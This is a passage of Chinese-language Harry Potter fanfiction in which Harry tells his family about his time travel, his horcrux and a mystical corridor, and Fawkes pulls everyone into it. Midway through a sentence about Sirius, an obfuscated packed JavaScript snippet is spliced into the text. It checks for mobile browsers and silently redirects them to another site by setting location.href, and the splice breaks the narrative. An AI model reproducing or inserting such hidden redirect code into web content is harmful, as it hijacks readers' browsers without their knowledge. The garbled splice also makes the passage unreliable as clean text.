“除非你能找出一个更合理的解释,为什么你和你的教子会来到这个完全不一样的过去。”格林德沃合上书,“四兄妹确实回到了过去,见到了母亲。然而他们很快明白,改变历史会带来难以承受的后果,最终,他们选择了不同的道路。” “而四件圣器,散落在了时间的长河里,失去了踪迹。” 哈利沉默片刻后抬头问:“你是希望我们找到所有圣器?然后摧毁它们,防止时间再次被扰乱?” “找到?摧毁?” 格林德沃的语调显出几分讥讽意味。他没有立即回答,而是转过身走向房间的一堵石墙。他抬起手指,在石块上划出一个简单的符号。石墙应声而动,露出了一个隐藏的暗格。 他从里面取出一件物品。 那是个普通至极的八音盒。胡桃木外壳被岁月磨得光泽全失,没有精致的雕花,没有夺目的装饰,如果不是盒顶那枚模糊不清的奇异符文,任何人都会把它当成廉价的小玩意儿。 “如果能轻易毁掉,”他将八音盒放在桌上,“我早就把这个毁了。” “这就是——” “缪丝的八音盒。”格林德沃肯定地说道,“我姑婆的祖母把它当作普通的音乐盒送给她,后来姑婆又传给了幼年的我。她们自然不知道这八音盒的真正作用,世代传承,只当是一件普通摆件。直到我发现……” 他没有继续说下去,手掌停在八音盒上,似乎陷入某种遥远而无法言说的记忆中。 “你试过毁掉它?”哈利问。 “所有你能想象到的方法。”格林德沃低头凝视着八音盒,“厉火灼烧、强力的破坏咒,最狠毒的黑魔法,我甚至把它埋进了地底,抛入深海深处……但不论怎么做,它总会再次回到我身边。” 哈利沉默了半晌,声音压低了些:“完全没办法?” “至少到目前为止,我还没找到正确的方法。”格林德沃似乎侧头瞥了哈利一眼,“你有没有想过,四兄妹既然明白时间旅行带来的巨大危险,为何没有摧毁这些圣器,而是任其流散各处?” 哈利的眉头骤然拧紧,“因为他们也毁不掉?” “或许吧。”格林德沃没有给出明确答复,“巫师们自以为掌控了魔法,实际上,我们不过是勉强触及了它的边缘,更何况涉及到时空这种最古老的魔法领域……你又怎么能知道四兄妹是无法摧毁圣器,还是他们从未想过要毁灭这些东西?也许,我们眼中的问题,对他们而言根本不是问题。可惜真相早已湮没在时间的尘埃里。” “那另外两件圣器呢?”哈利盯着桌上的八音盒,“你知道它们现在的下落吗?会不会也有人用它们穿越了时空?” “若真有这样的事情,我早就察觉到了,而你此刻也不会毫无所觉。”格林德沃低头望着桌上的羊皮纸符号,“这么多年,我几乎翻遍了所有能找到的书籍、文献。水瓶与镜子毫无疑问是存在的,但它们究竟以什么形态存在,又身处何处……” 他摇了摇头:“世界上的魔法物品太多了,而这些圣器全都隐藏在最不起眼的伪装之下——就像拱门被视作死亡之门,八音盒变成了代代相传的摆件。它们可能就在你面前,但你却视而不见。” “那就像大海捞针。”哈利低声道。 “比那更糟。”格林德沃纠正,“至少你还知道针长什么样子。但这些圣器……千百年来,没人真正认出过它们,知道他们真正的用途。或许是四兄妹对圣器做了某种伪装,也可能时间本身改变了它们……” 哈利沉默了一会儿,才疑惑地问道:“你究竟希望我做什么?” “线索在你手里,知识在你脑子里。在今天之前,我甚至不知道还有一个和我们一样的时间穿越者存在。剩下的两个圣器也下落不明,难道你指望我能找到吗?我觉得我什么都做不了。” 格林德沃没有立即回答,他好像只是静静地看着哈利,仿佛他说出了什么很可笑的话。哈利不自在地挪动了一下脚步。 “有些事必须由你来做,而你总是过于看轻自己的存在,哈利·波特。”格林德沃绕过桌子,慢慢走近:“某种意义上,这是件好事——毕竟没人喜欢一个自负而狂妄的救世主。但从另一个角度来说……” 他在哈利身前停住,那张脸依旧模糊难辨,可整个人散发出的气场强大得令人无法忽视。 “你拥有的东西远比你想象中要珍贵得多,你却毫不在意。” “你到底想说什么?”哈利戒备地盯着对方。 格林德沃轻笑一声:“好吧,让我说得更明白一些。” 他伸出一根手指,稳稳指向哈利的胸口,一字一顿地说: “冥想回廊。” 哈利整个人都僵住了,呼吸明显急促起来。 记忆外的旁观者们,除了邓布利多和斯内普,都露出了茫然的神情。小天狼星皱起眉头,不耐烦地嘟囔:“冥想回廊?那又是什么鬼东西?” 没有人回应他,因为格林德沃还在继续说着: “我一直在外面苦苦追寻答案,直到你来了,我才意识到你就是那道门。你没听错,我指的正是藏在你体内的那个冥想回廊。”他的声音低沉而笃定,“我相信,那个地方藏着我们寻找圣器、彻底摧毁它们的关键所在。” 银色的雾气开始向上涌动,记忆里的场景逐渐褪色模糊。格林德沃最后的话语还在空气中回荡: “关键就在你身上,哈利·波特。” “一直都在。” 123. 冥想回廊 银色的雾气一点点退去,从众人脚边散开。邓布利多办公室里那些熟悉的陈设,摆满书籍的书架、旋转的星盘、以及堆叠着不知名银色工具的桌子,重新在视线中清晰起来。历任校长的肖像全都睁开了眼,彼此低声嘀咕。待雾气完全散尽,他们又迅速闭上眼,装作什么都没发生。福克斯在栖木上不安地抖了抖翅膀,发出一声带着困惑的轻鸣。 格林德沃最后那句话仿佛还在空气中回荡,震得人耳膜发颤。莉莉的手停在嘴边,像忘了要放下。詹姆斯俯在冥想盆旁,双手撑在盆沿,低头盯着在盆中归于平静的银色液体。小天狼星在原地烦躁地踱了两步,又突然停下,几次张口欲言,终究只是重重地吐出一口气。卢平靠在书架旁,双臂环抱在胸前,眉头锁得很紧,像是在努力消化刚才看到的一切。 斯内普站在壁炉旁的阴影里,黑眼睛直勾勾地盯着哈利。哈利显得有些心不在焉,目光越过窗户玻璃,望向外面那片深不见底的漆黑。 邓布利多轻挥魔杖,几把高背椅无声地滑到壁炉前,围成一个半圆。 他拍了拍手,打破了沉默,“我想,我们需要坐下来谈谈。” 众人各怀心事地默默落座。詹姆斯与小天狼星并肩而坐,哈利下意识地选了斯内普身旁的空位。他刚一坐定,就敏锐地感受到对面小天狼星投来的不满目光。莉莉紧挨着哈利坐下,一只手还关切地搭在他的手臂上。卢平坐在莉莉和小天狼星的中间,全程低着头,神色晦暗不明。 邓布利多转身走向橱柜。银质茶壶和几个杯子轻快地飞出,在空中盘旋片刻,随即精准地落在每个人面前。热气腾腾的蜂蜜柠檬茶散发出令人安心的甜香,但此刻谁都没有心思品尝。 茶香在房间里弥散开来,就像一个信号,四个焦急的声音几乎同时响起—— “那个冥想回廊到底是什么鬼东西?”小天狼星向前探身,双手撑在膝盖上,语气十分急躁,甚至隐隐带着一丝怒气。 “格林德沃说的‘雅努斯之门’……哈利,你真的是从神秘事务司那道帷幔……你是从那里回来的?”詹姆斯满眼不可置信地盯着哈利。 “哈利。”莉莉握紧了哈利的手臂,“你身体里的……灵魂碎片,那是什么?” “我想先问清楚一件事。”卢平低声问,内心的恐慌根本压抑不住,“泰迪。格林德沃提到了代价。哈利,泰迪他……” 问题撞在一起,同时戛然而止。几个人互相看了看,气氛突然变得有些尴尬。 邓布利多举起一只手,做了一个安抚的姿势,“请原谅我的打断,但或许我们应该一个一个来。”他的目光穿过半月形眼镜,依次看过每一张焦急的面孔,最后停在哈利身上。“哈利,我想,这些问题由你来回答最为合适。” 他语气温和地说,“我知道这很艰难。但我们都在这里,为了同一个目标——理解,然后面对。” 四双眼睛齐刷刷地转向哈利。而斯内普的视线从一开始就没有离开过他。 哈利深深吸了一口气,双手交扣放在膝上。 “好。”他抬头,视线从一张张关切的面孔上掠过,“我从头说起。” 他开始叙述那个改变一切的夜晚。这个故事他已经讲过很多次——对邓布利多,对斯内普,甚至对格林德沃。但当着家人的面重述这一切,每一个字都变得无比艰难。 “……我和泰迪就是这样跌进了拱门。” 詹姆斯的脸色尤为难看,他痛苦地闭了闭眼,喃喃道,“居然真的是神秘事务司那道拱门。除了神秘事务司的人,其他魔法部工作人员都是被严禁靠近的。我听说多年前有个缄默人失足掉进去,就再也没……”他猛地睁开眼,“你和泰迪掉进去的时候……” “是的,”哈利点点头,目光不由自主地瞥向小天狼星,“当时我真的以为我和泰迪会死——” “就像我一样。”小天狼星平静地接过话。 “什么?”詹姆斯立刻转向他。“大脚板,你在说什么?” 卢平也惊讶地看着小天狼星:“记忆碎片?” “我是说‘另一个我’,”小天狼星的手指在头发里胡乱抓着,让它们变得更乱了,“在那些记忆碎片里……我就是这样结束的。掉进帷幔,永远消失。” 莉莉发出一声压抑的哽咽。 哈利闭上眼睛。那一幕又在眼前重现——小天狼星脸上最后的笑容,向后倒下的身影,还有自己撕心裂肺的呼喊。 胸口的剧痛仿佛再次袭来,但他感觉到斯内普的袍子轻轻擦过他的手背。那个触碰如此轻微,轻到几乎像是错觉,却将他从记忆的漩涡中拉出,让他稍微镇定了一些。 “你……”詹姆斯话到嘴边,又无力地闭上。 哈利睁开眼,继续说,“是的。在我来的那个时间线,小天狼星就是那样……离开的。我一直以为那是通往死亡的门,不明白为什么我和泰迪能回来这个时代,直到格林德沃告诉我真相。” “雅努斯之门,”邓布利多若有所思地抚摸着胡须,“时间之门。多么精妙的伪装——让所有人都以为它通往死亡,却没人想到它真正连接的是时间本身。”他抬头看向哈利,眼中带着一丝忧虑,“但任何强大的时间魔法,都伴随着不可预测的代价。” 卢平急切地看向哈利,“你和泰迪成功穿越了时间。而小天狼星没有。这中间一定有什么不同。格林德沃提到的代价……” 他停了停,低声追问,“和泰迪有关吗?你说过他回来前只有五岁,可我第一次看到他时,他已经是十一岁的模样……” 莉莉闻言立刻紧张起来,目光上下打量着哈利,眼神里满是恐慌:“哈利,你呢?你也付出了代价?你是不是也……失去了什么?” “我没事,妈。”哈利拍了拍她的手,让她紧绷的身体略微放松。但当他转向卢平时,语气沉了下去,“泰迪……格林德沃说,时间收取了他六年的生命作为‘过路费’。他看上去长大了六岁,可实际上,是被夺走了六年的生命。” 卢平的脸色慢慢失去了血色。茶杯从他手中滑落,在地板上碎成几片。没有人想到要施展一个修复咒。 “六年……被夺走了。”卢平重复了一遍,好像不确定自己听对了,“不是长大,是……被夺走了。” “还有,”哈利犹豫了下,“泰迪的情况很特殊。他闯进了一个本不该有他存在的时代,因为他不应该在这个时间点出声。所以时间不只是收取代价——” 哈利看着卢平越来越苍白的脸色,一口气说了下去:“我不知道你们有没有注意到,泰迪有一种特殊能力——能通过触碰感知灵魂的本质。格林德沃称之为‘灵视’,说这是时间留下的印记,用来标识他的身份。” “这个印记……”卢平说话时嗓子已经哑了,“会对他造成什么影响?能不能消除?” 哈利摇了摇头:“格林德沃也不确定。他说这更像是一种身份证明,告诉时间和这个世界——泰迪是特殊的存在。但会带来什么影响……” “特殊的存在……”卢平喃喃重复,又抬起头,一连抛出几个问题:“其他巫师会察觉到他的不同吗?他会被排斥吗?这是祝福还是诅咒?” 小天狼星立刻把手按在他的肩膀上:“莱姆斯——” “我必须知道。”卢平眼眶已经通红,“我得知道我的儿子会面对什么。是像我一样,每个月忍受痛苦,还是会有别的——” 他话说到一半咽了回去,但大家都明白他的意思。作为狼人,他一直都在承受“与众不同”带来的痛苦。 “莱姆斯,你也看到了,泰迪现在很健康,除了突然长大带来的一些困扰,他的身体没有任何问题。”哈利赶紧说,“他对能力掌握得很好。练习守护神咒让他能控制它,他能分辨出谁是心存善意,谁心怀恶念。某种程度上说,这是一种保护。” “保护?”卢平苦笑一声,再开口时语带哽咽,“如果可以选择,我宁愿承受这个代价的是我。我已经习惯被区别对待,但泰迪……他还那么小。” 他的脸埋进双手,肩膀开始颤抖起来。那个一向温和克制的男人,此刻像被无形的重量压垮了。 “他不会独自面对的。”詹姆斯忽然说,“我们都在,莱姆斯。泰迪有你,有哈利,有我们所有人。” “而且,”小天狼星努力让气氛轻松些,“你得承认,那孩子比你坚强多了。他可没有因为这个能力而畏畏缩缩,反而用得挺顺手的。还有他的易容马格斯能力,那头金光闪闪的头发,可比邓布利多的袍子还耀眼!” 卢平抹了一把眼睛,勉强扯了下嘴角。 “要是我年轻时有这本事,”小天狼星乘胜追击,“绝对天天换发色。今天火红色勾搭格兰芬多姑娘,明天深蓝色迷倒拉文克劳学霸……” 詹姆斯没好气地瞪了他一眼,但嘴角也跟着动了动。 卢平深深呼了一口气:“你们说得对。那孩子比我坚强……而且,他还有我们。” 然而莉莉还在坚持追问,“哈利,你的代价是什么?时间从你身上拿走了什么吗?” 哈利沉默了。他知道所有人都在等他开口,说出答案。 但他怎么能说?怎么能告诉他们,这个时空的小哈利因为自己的到来而逐渐衰弱、最终离世?那会撕开刚刚愈合的伤口,会让詹姆斯和莉莉再次坠入那个可怕的深渊。 他下意识地看向斯内普,对上了对方深不见底的黑眼睛。魔药教授极轻微地摇了摇头。 “我……”哈利咬着下唇,选择说出另一个真相,“我体内那部分伏地魔的灵魂复活了。” “什——么?”小天狼星猛地从椅子上弹起来,“什么伏地魔的灵魂?你体内为什么会有那个疯子的东西?” 回答他的是邓布利多。老校长轻轻放下茶杯,“小天狼星,詹姆斯,你们还记得我之前解释过的魂器吗?” 詹姆斯点了下头,神色一下沉了下去;莉莉和卢平则露出不解与戒备的神情。 “简单来说,”邓布利多言简意赅,“汤姆·里德尔——也就是伏地魔——通过谋杀撕裂自己的灵魂,将碎片封存在物品中,以此追求永生。这就是魂器。” “我很早就怀疑他会使用涉及灵魂的黑魔法,而哈利的到来让我肯定了这一猜测。” 他的目光扫过每个人的脸,在座所有人的表情几乎都写着“难以置信”。 “而在1981年的那个万圣节之夜,我是指在哈利原本的时间线,当伏地魔试图杀死还是婴儿的哈利时——” “咒语反弹了。伏地魔的身体被摧毁,但他撕裂的灵魂……其中一片,意外地附着在了那个房间里唯一活着的生命上。” 莉莉脸色变得比纸还要白。小天狼星低声骂出一句粗话,“阿不思,你上次可没说哈利也是这个……这个……魂器……” 詹姆斯像是被什么扼住了呼吸,当那个骇人的念头无可避免地清晰成形,他猛然站起身,椅子向后倒去,发出巨大的声响,但他毫不在意。 “不……梅林啊……”他几乎是在喘,“要彻底杀死伏地魔,就必须先——” “必须先摧毁所有魂器。”斯内普冷冷地说完了这个残酷的结论,“就算这个魂器是个人类。” 说完这句话,他又冰冷地看向邓布利多,“我很好奇,校长。现在他可能又成为了魂器,你会不会选择让他走上那条牺牲之路?” 这个指控太尖锐,且充满恶意,让邓布利多都微微一怔。 “什么?”小天狼星的反应几乎是立即的。他的手撑在椅背上,整个人半起身,像一只准备扑击的大狗,“你不能这么做!你不能——” “不!”莉莉尖叫起来,抓紧哈利的手臂不放,“哈利——不!一定还有别的办法!”她的眼泪已经不受控制地流下来,整个人都在发抖。 “冷静!都冷静!”哈利急忙站起来,一边按住斯内普的肩膀阻止他继续质问,一边握住母亲颤抖的手,“听我说!我没事!我们成功了!” 邓布利多的眉毛轻轻一动,“西弗勒斯,我知道你想说什么,也理解你的愤怒。可我不是你说的那个人,对他的每一步选择我无法代言。我不会把任何人的牺牲当作理所当然的前提。” 他站起身,目光扫过在场的每一个人:“是的,哈利现在的确再次面临着那个可怕的处境——那片不该存在的灵魂碎片复活了。但你们应该知道,他曾经在更艰难的情况下,活着将它清除过一次。” 他又看向詹姆斯和莉莉,语气放缓了不少,“而这一次,他不是一个人。他有你们,还有整个凤凰社的力量——我们会在危险真正到来之前,找到解决的方法。我相信这一点。” “阿不思说得对。”哈利接着往下说,他轻轻握住母亲还在颤抖的手,又看向父亲,给了他一个安抚的眼神,“我经历过一次,并且活了下来。这不是什么解不开的死结。你们不用担心,我知道自己该做什么。” 他又抬手指了指额头那道闪电状的伤疤:“战后我的伤疤再也没有痛过。”他苦笑了一下,“直到回到这里,它才重新开始……我其实早就怀疑它复活了。现在格林德沃只是证实了我的猜测。” “不过,既然能消灭一次,就能消灭第二次。我保证,我会活着的。” 说最后一句话时,他的视线短暂地与斯内普相接,眼角轻轻一动,无声地补上一句只有对方能读懂的暗示——真的没事。 詹姆斯像是被抽干力气一般跌坐回椅子里,双手抱头:“梅林啊……我的儿子……两个儿子都……” 小天狼星的脸色也很难看,他紧紧抿着嘴,过了好一会儿,才沙哑地问:“哈利,你是怎么做到的?在另一个时间线,你是怎么活下来的?” “那是另一个故事了。”哈利疲惫地说,“但重要的是——”他看向每一个人,“我活下来了。而且说实话,如果真要说谁该害怕,那个人应该是伏地魔。” 他的嘴角勾起一个略带讽刺的笑:“他以为自己找到了永生的方法,却不知道他的每一个魂器都是他的弱点。” 空气里终于松动了一丝紧绷的弦,几个人的肩膀都放松了一些。 小天狼星重重地坐下,大喘气了好几口,才抬起头,眼睛里还带着血丝:“这太疯狂了。所有的一切都太疯狂了。” 他看向哈利,“那个冥想回廊又是怎么回事?和你又有什么关系?” 哈利组织了一下语言,知道这又是一个漫长的解释:“那是一个存在于时间夹层中的空间。我是在一次意外中获得的……” “那天我和残党食死徒交手,有个麻瓜女孩被劫持了。我挡在她前面,结果——”他做了个被击中的手势,“阿瓦达索命咒。” 莉莉把他的手抓得生疼。 “我当时以为自己完了,”哈利继续,“可下一秒,福克斯出现了。” 所有人的目光同时转向壁炉旁的栖木。那只刚经历过涅槃的年轻凤凰此刻歪着头,好奇地回望着他们。 “不是它,”哈利摇头,嘴角浮现一抹很轻的笑意,“福克斯在……另一个时间里和我签订了契约。” “契约?”詹姆斯皱眉。 “它当时化作一道光飞进了我体内。等我醒来时,发现自己被拉进了一个从未见过的空间。” “福克斯在那里等着我。它告诉我,那个地方叫冥想回廊,而我……成为了新的继承者。” “等等。”小天狼星插嘴,“福克斯能说话?你能听懂凤凰在说什么?” “在回廊里,它能变成任何形象。”哈利解释,“第一次见面时,它选择了阿不思的样子。”他冲着邓布利多露出一丝笑意,“……我当时真的差点以为自己是不是变幽灵了。” 他本是想让气氛轻松一点,可众人只是沉默地看着他,没有人笑出来。 邓布利多微微眯起眼睛,若有所思地看向栖木上的凤凰。福克斯睁开一只眼睛,发出一声轻柔的鸣叫。 哈利继续描述回廊的构造——悬浮的走廊、巨大的齿轮以及四扇神秘的门。 “自从继承这个回廊,我的身体就发生了一些变化。魔力和身体素质都有提升,最明显的是视力。”他指了指自己的眼睛,又下意识摸了摸鼻梁——那里曾经架着厚重的眼镜,“我和爸一样从小近视,但那之后我再也不需要眼镜了。” “福克斯说这是波特家族的古老遗产。但——”他看向詹姆斯,眼中带着一丝期待,“爸,你听说过吗?家族里有任何相关的记载吗?” 詹姆斯茫然地摇头:“波特家族的遗产?可我从来没……父亲从未提过,祖父也没有。如果真有这样重要的东西,不可能一点记录都没有。” “可能传承早就断了。”哈利有些失望,但并不意外,“毕竟连隐形衣是死亡圣器你都不知道。” “什么?”詹姆斯这次真的跳了起来,椅子向后滑出老远,“我的隐形衣是什么?” “死亡圣器之一。”哈利语气平静地说,“三兄弟的故事是真的,爸。而我们是伊格诺图斯·佩弗利尔的后裔。” 詹姆斯张大了嘴,和小天狼星、卢平交换了一个震惊的眼神。那件隐形衣陪伴了他们整个学生时代的夜游冒险,他们从来只当它是一件特别优秀的隐形衣而已。 “佩弗利尔……”詹姆斯恍然大悟,“所以你用的这个姓氏不是随便编的……” “是的,”哈利简短地点头,“我当时需要一个假名,脑子里第一个蹦出来的就是这个。” “等等,我们先回到冥想回廊。”莉莉这时已经冷静下来,轻声问:“福克斯在里面扮演一个什么样的角色?为什么是它来决定谁是继承者?” 哈利皱着眉摇头:“说实话,我知道的不比你们多。福克斯从来不肯多说它自己的事。” 邓布利多抚摸着胡须,若有所思地加入进来:“凤凰是近乎永生的神秘生物。在我还很年轻的时候,福克斯某天突然出现在我面前。从那以后,它就一直陪伴着我。至于它之前的经历……” 他摊开双手,做了个无奈的手势。 “所以没人知道福克斯的来历,”卢平总结道,“它却掌管着这个神秘的空间。” “虽然福克斯说我是守护者,”哈利继续,“但实际上我的权限很有限。四扇门中,我只能打开水晶门——福克斯说那是守护者们存放最重要记忆的地方。至于其他三扇门……” 他摇了摇头:“完全打不开。” “你进去过几次?”斯内普突然开口问道。 “两次。”哈利转向他,“第一次是继承的时候。第二次……” 他的眉头皱得更紧了,脸上露出困惑的表情:“我记得自己确实进去过第二次,但……” 斯内普的身体微微向他的方向倾过去一些,但很快又恢复了原来的姿势。 哈利用力揉了揉太阳穴:“我完全不记得进去后做了些什么,福克斯也不肯说。” 斯内普的黑眼睛紧紧盯着茶杯中的倒影,嘴角向下沉了沉,仿佛在竭力克制着什么。 “那格林德沃为什么要让你进回廊?”卢平敏锐地抓住了重点,“他想要什么?” “他相信四兄妹的记忆就藏在回廊的某扇门后。”哈利表情凝重,“那些记忆里可能有四个时间圣器的线索,甚至可能有摧毁它们的方法。” “他要我找到这些记忆,找到圣器的线索。我推测,很可能就在水晶门后面。”哈利继续,“我准备——” “等等,”小天狼星截住他的话头,“你打算一个人进去?进入一个连你自己都不完全了解的神秘空间,去寻找可能根本不存在的记忆?其他人可以进这个什么回廊吗?” 哈利瞄了斯内普一眼:“我本来以为不行。” 这个动作没能逃过小天狼星的眼睛。他的眼睛瞬间瞪得更大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156461|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,整个人像是被雷击中一般。 “不会吧?”他腾地站起来,手指颤抖地指着斯内普,“你别告诉我——鼻……斯内普进去过?他怎么像条尾巴一样,什么地方都能跟着你?” “我进去是为了把某个傻瓜带回来。”斯内普冷冷地讥讽道,“不然你以为我很想进那个莫名其妙的地方?” “你这个阴沟里的——”小天狼星的脸涨得通红。 “是福克斯主动带他进去的。”邓布利多及时出声,压下两人之间即将爆发的火药味,“当时情况紧急,哈利的灵魂被困在回廊里,身体陷入深度昏迷。需要有人把他带回来。” 詹姆斯的脸色变白了。他显然想起了那是什么时候——蛇怪事件之后,哈利昏迷了很久。 “但这也说明其他人可以进去。”小天狼星仍旧不依不饶,“既然斯内普都能进去,凭什么我们不行?我们是哈利的家人!如果有危险,我们更应该——” “因为你进去了也只会添乱。”斯内普慢悠悠地说,“你以为那是什么地方?霍格莫德的酒吧?可以抱着你的好奇心进去闲逛?” “这是我们家人之间的事,轮不到你插嘴!”小天狼星的魔杖滑到了手中,杖尖已经开始冒出火花,“还是说,你就是闲得没事,非要把那个大鼻子伸进来凑热闹?” “够了,”邓布利多加重了语气,制止了即将爆发的争吵,他的目光锐利地扫过两人,“我们不是来内斗的。西弗勒斯说得没错,冥想回廊不是寻常的地方,抱有警惕之心并不为过。但小天狼星的担心也完全合理——让哈利独自进入未知的领域,确实太过冒险。” 他转向哈利:“关键的问题是,福克斯能否带更多人进入?” 哈利耸耸肩,脸上的表情有些无奈:“我真的不知道。福克斯从来没有明确说过可以或不可以。它只说我是继承者,可到现在我也只开过一扇门。这就是我的全部战绩。” 他犹豫了一下,又补充道:“当时带西弗勒斯进去似乎是特殊情况。而且说实话,有时候我觉得福克斯还有很多事瞒着我……” “我不在乎什么特殊不特殊,”小天狼星固执地说,“如果有办法进去,我们都应该陪你一起。你不能指望我们就这样坐在外面干瞪着眼,看着你一个人去冒险。” “我们必须陪你去。”詹姆斯眼神坚定地看着哈利,“我不会再让你一个人面对危险。” “哈利。”莉莉握住他的手,“我们陪你一起。” 卢平也点点头,“一起。” “可是——”哈利想要争辩。他之所以选择告诉家人,只是怕自己在回廊里耽搁太久会让他们担心,可他更不想让他们陪着自己涉险。他知道那可能是一个充满了未知危险的境地,他不愿让他们碰到任何危险。 他求助般地看向斯内普。魔药教授虽然一言不发,那双黑眼睛里的意思却不能再清楚了——别想甩掉我。哈利心里叹了口气,知道自己根本赢不了。 就在哈利不知所措时,一阵剧烈的灼热感突然从胸口涌起。他下意识地按住心口,想要压住那股躁动。 “哈利?”莉莉第一个注意到他的异常,“怎么了?你的脸色——” 一团耀眼的金红色光芒从哈利胸前迸发出来。那光如此强烈,让所有人都不约而同地站了起来。光团在哈利胸前盘旋片刻,然后脱离他的身体,在半空中凝聚成形—— 一只凤凰出现在办公室中央。 它的体型比栖木上的小福克斯要大得多,羽毛闪耀着纯粹的金红色光芒,每一根羽毛都像是由火焰凝成。 凤凰在空中优雅地盘旋了一圈,长长的尾羽在身后划出流光溢彩的轨迹。然后,它飞向了邓布利多。 老校长怔住了,仿佛一时间忘了呼吸。 直到凤凰用鸟喙亲昵地蹭过他布满皱纹的脸颊,那双蓝色的眼睛才在顷刻间湿润了。在这一刻,他或许也分不清自己到底是哪个人。 好久不见——这并非用人类语言说出的问候,却清晰得仿佛落进了每个人心里。 邓布利多的手微微颤着,抚上那片温热的羽毛,低声道:“老伙计……” 凤凰发出一声悠长的鸣叫,那声音仿佛穿越了时间的阻隔,带起无尽的思念。栖木上的福克斯也扬起头,回应了一声清脆的啼鸣。 两只凤凰,一大一小,一个来自未来,一个属于现在,就这样隔空对视着。 巨大的福克斯展开双翼,在办公室内盘旋飞行。它的飞行优雅而有力,每一次振翅都带起金色的气流。它飞过书架,那些古老的书籍微微震颤;飞过墙上的肖像,历任校长们都睁开了眼睛,目光追随着这只神圣的生物;飞过那些神秘的银器,它们发出和谐的共鸣声。 凤凰的翅膀上开始洒下点点金光。那些光点悬浮在空中,越来越多,越来越密集,光芒逐渐增强,从温暖的金色变成刺眼的白光,将整个房间照得亮如白昼。 “福克斯?”哈利不安地抬头望着在头顶盘旋的凤凰,“你要做什么?” 光芒愈发强烈,如同千万颗恒星在这狭小的空间里同时爆发。哈利本能地抬手遮住眼睛,周围的人也被迫闭上了眼。 “福克斯!”哈利喊道,“等等——” 强光吞没了一切。 —————— 当哈利再次睁开眼睛,他发现自己站在一片虚无的黑暗中。 唯一真实的,是面前那扇门。由流动水晶构成的门扉静静立在黑暗中,门框上的古老符文在缓缓变换着。在他的注视下,符文逐渐稳定下来,组成了他能够理解的文字: 记忆潮汐。 “又来了。”哈利叹了口气。这种被突然传送的感觉他已经经历过两次,但每次都让人不太愉快。 他在黑暗里喊了一声“西弗勒斯?”,半点回音也没有。 “爸?妈?”哈利不死心地提高了音量,“小天狼星?莱姆斯?” 他在原地转了一圈,又试了一次,“阿不思?有人吗?” 还是一片死寂。 哈利皱起了眉头。福克斯应该是把他们都带进来了,但其他人在哪里?他们是被分开了,还是—— “福克斯?”他再次对着黑暗说,“我知道你在的。出来吧,别玩神秘了。我们没时间玩捉迷藏。” “他们都在各自的门前。” 声音突然从身后响起。 哈利猛地转身。那是斯内普的声音——低沉、丝滑,带着特有的嘲讽腔调,可是语气完全不对。 一个身影从黑暗中走出。黑发黑袍、蜡黄的皮肤,还有高挺的鼻梁——那是哈利再熟悉不过的身影。但当“斯内普”抬起头时,哈利看到的却是一双金色的眼睛。 那双眼睛里闪烁着顽皮的光芒,完全不属于那张严肃的脸。 “福克斯。”哈利哭笑不得,“为什么这次是西弗勒斯?上次你不是变成邓布利多的样子吗?” 福克斯——顶着斯内普外表的福克斯——脸上绽开一个灿烂的笑容。那个表情出现在斯内普脸上简直古怪到极点,吓得哈利忍不住后退了一步。 “我一般会选择你最信任的形象。”福克斯说,“上次你最信任邓布利多,所以我选择了他的样子。而现在……” 它故意停顿了一下,金色的眼睛里满是促狭:“难道不是因为西弗勒斯·斯内普是你最爱的人?” “你——”哈利的脸瞬间开始发烫。他简直不知道该说什么好,干脆抗议道,“我们能不能谈点正事?他们在哪里?” 福克斯脸上的促狭笑容渐渐收敛,神情变得严肃起来。 “他们已经站在各自必须进入的门前。”福克斯说道,“每个人都有一扇门在等待着他。” “等等,每个人都要进一扇门?包括我父母?”哈利的不安感突然加剧,“这太危险了——他们对这里一无所知——” “这不是我的选择,哈利。这是回廊本身的意志。”福克斯打断他,“回廊的每一扇门,都有它存在的意义。四兄妹在建造这座回廊的时候,知道有些代价再也无法收回,所以他们留下了四扇门,把力量和悔悟都锁在厚重的门后。等待某一天,他们的后人会来到这里,寻找答案。而当那一天到来时——” 福克斯的金色眼睛直视着哈利:“回廊会召唤所有必要的人。” “必要的人?”哈利重复道,“什么意思?” “我说过,每扇门都有它存在的理由。”福克斯的声音变得深远,“往昔残影收集被覆盖的时间线,记忆潮汐保存最珍贵的记忆,未竟之痕记录未被选择的可能,而罪罚之间……” 它停顿了一下:“记录所有因时间旅行而产生的扭曲。” “你们每个人,都与其中一扇门有着深刻的联系。回廊感受到了这种联系,所以把你们都带了进来。” 哈利的心跳加快了:“可他们会有危险吗?我的家人,还有西弗勒斯——” “他们会面对自己的考验。” “我要你保证。”哈利一改先前的随意,态度强硬起来,“保证他们都会安全。” 福克斯沉默了片刻,然后缓缓摇头:“我不能保证,哈利。每个人都必须通过自己的力量去面对这些考验,去面对真相。但那不意味着危险。你要记住,在回廊里,一切都是真实的。门的后面既是引路,也是审判——那里会有痛苦、恐惧和悔恨,但也会有希望、救赎和……爱。” 水晶门缓缓开启,露出流动的银色光芒。 “时间不多了。格林德沃说得对,裂缝在扩大。现在是最好的机会。”福克斯抬起手指向那扇门:“进去吧。不只是为了寻找四兄妹的记忆,也为了找回你自己失去的东西。” “我失去的……”哈利看着那扇门,突然明白了什么,“我别无选择,对吗?” 福克斯已经消失了。 哈利不再犹豫,迈步走进了那片银色的光芒。 124. 女贞路的囚徒 她在一阵单调的鼾声中醒来。 刚睁开眼,首先映入眼帘的就是一截粗壮的手臂。手臂的主人,那个叫弗农的男人,正四仰八叉地躺在她身边,嘴巴大张着,发出如火车过山洞般的响声,双下巴随着每次呼吸一颤一颤的。看着那副模样,一股莫名的厌烦不自觉地涌了上来。她轻轻挪了挪身体,尽可能地把自己往床的另一边挪了些。 最近他又胖了不少,上个月新买的西装扣子都快崩开了。昨天他试图系领带时,脸憋得通红,最后还是她帮忙才勉强系上。真不知道他的同事们怎么看待这位越来越臃肿的销售经理。 